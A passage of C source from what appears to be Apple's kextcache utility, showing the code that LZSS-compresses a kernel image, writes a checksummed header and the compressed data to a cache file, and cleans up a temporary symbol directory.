kernel_file_size; buf = malloc(bufsize); kernel_header.signature = NXSwapHostIntToBig('comp'); kernel_header.compress_type = NXSwapHostIntToBig('lzss'); kernel_header.adler32 = NXSwapHostIntToBig(local_adler32( (u_int8_t *) kernel_file, kernel_file_size)); kernel_header.uncompressed_size = NXSwapHostIntToBig(kernel_file_size); strcpy(kernel_header.platform_name, platform_name); strcpy(kernel_header.root_path, root_path); if (verbose_level > 0) verbose_log("adler32 0x%08x, compressing...", NXSwapBigIntToHost(kernel_header.adler32)); bufend = compress_lzss(buf, bufsize, (u_int8_t *) kernel_file, kernel_file_size); totalBytes = bufend - buf; kernel_header.compressed_size = NXSwapHostIntToBig(totalBytes); if (verbose_level > 0) verbose_log("final size 0x%x bytes %.2f Mb", totalBytes, ((float) totalBytes) / 1024.0 / 1024.0); vm_deallocate( mach_task_self(), kernel_file, kernel_file_size ); outfd = open(temp_file, O_WRONLY|O_CREAT|O_TRUNC, 0666); if (-1 == outfd) { fprintf(stderr, "can't create %s - %s\n", temp_file, strerror(errno)); err = kKXKextManagerErrorFileAccess; goto finish; } // write header if (kKXKextManagerErrorNone != (err = writeFile(outfd, &kernel_header, sizeof(kernel_header)))) goto finish; // write compressed data if (kKXKextManagerErrorNone != (err = writeFile(outfd, buf, bufend - buf))) goto finish; close(outfd); outfd = -1; } // move it to the final destination if (-1 == rename(temp_file, kernelCacheFilename)) { fprintf(stderr, "can't create file %s: %s\n", kernelCacheFilename, strerror(errno)); err = kKXKextManagerErrorFileAccess; goto finish; } if (verbose_level > 0) verbose_log("created cache: %s", kernelCacheFilename); result = kKXKextManagerErrorNone; finish: if (-1 != outfd) close(outfd); if (debug_mode) symbol_dir[0] = 0; if (symbol_dir[0]) { FTS * fts; FTSENT * fts_entry; char * paths[2]; paths[0] = symbol_dir; paths[1] = 0; fts = fts_open(paths, FTS_NOCHDIR, NULL); if (fts) { while ((fts_entry = fts_read(fts))) { if (fts_entry->fts_errno) continue; if (FTS_F != fts_entry->fts_info) continue; if (-1 == unlink(fts_entry->fts_path)) fprintf(stderr, "can't remove file %s: %s\n", fts_entry->fts_path, strerror(errno)); } fts_close(fts); } } if (-1 != curwd) fchdir(curwd); if (symbol_dir[0] && (-1 == rmdir(symbol_dir))) perror("rmdir"); if (kexts) free(kexts); if (files) free(files); return result; }